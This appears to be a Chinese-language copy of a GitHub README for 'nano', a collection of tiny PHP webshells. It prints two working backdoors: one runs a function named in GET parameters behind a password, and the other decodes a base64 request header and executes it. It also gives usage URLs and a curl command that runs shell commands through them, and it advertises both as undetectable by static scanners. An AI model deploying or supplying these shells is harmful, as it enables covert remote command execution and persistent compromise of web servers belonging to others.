s0md3v/nano
GitHub: s0md3v/nano
Nano 是一组经过代码高尔夫化处理的极小 PHP webshell,通过极致压缩实现隐蔽的远程命令执行。
Stars: 450 | Forks: 91
# nano
Nano 是一个 PHP webshell 系列,经过代码高尔夫化处理,极其隐蔽且高效。\
可以关注一下,我会继续在这里上传更多 webshell。
### Nano
```
=$_GET[p]==_&&$_GET[f]($GET_[c]);
```
#### 特性
- 大小仅 35 字节
- 无法被静态代码扫描器检测到
- 支持认证
#### 使用方法
`http://example.com/nano.php?f=function&c=command&p=password`
`f` 代表函数\
`c` 代表命令\
`p` 代表密码
例如,下面的代码将执行 `ls` 命令:
`http://example.com/nano.php?f=system&c=ls&p=password`
### Ninja
```
=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
```
#### 特性
- 大小为 93 字节
- 完全无法检测
#### 使用方法
这个稍微复杂一点。\
假设你想运行 `system(ls)`,所以将其写成 `system~ls`,然后进行 base64 编码,即 `c3lzdGVtKGxzKQ==`\
现在在开头添加任意 **1** 个字符。假设是 'x',那么它就会变成 `xc3lzdGVtKGxzKQ==`\
现在打开你的终端并输入以下命令\
`curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php`\
觉得太麻烦了?你可以改用 [handler](https://github.com/s0md3v/nano/blob/master/handler.py)。

#### 其他
这是我写的第一个 PHP 小玩意,所以如果有更好的方法来实现我做的这些,请告诉我或者发起 pull request。\
nano 项目采用 **MIT 许可证** 授权,这基本上意味着如果你想重新分发或修改它,必须注明出处。
标签:Base64编码, Code Golf, DNS 反向解析, ffuf, HTTP请求头传参, OpenVAS, PHP, RCE, Webshell, 代码混淆, 后门, 安全测试, 攻击性安全, 攻击路径可视化, 攻击载荷, 极简代码, 绕过检测, 网络安全, 远程命令执行, 逆向工具, 隐私保护, 静态免杀, 黑客工具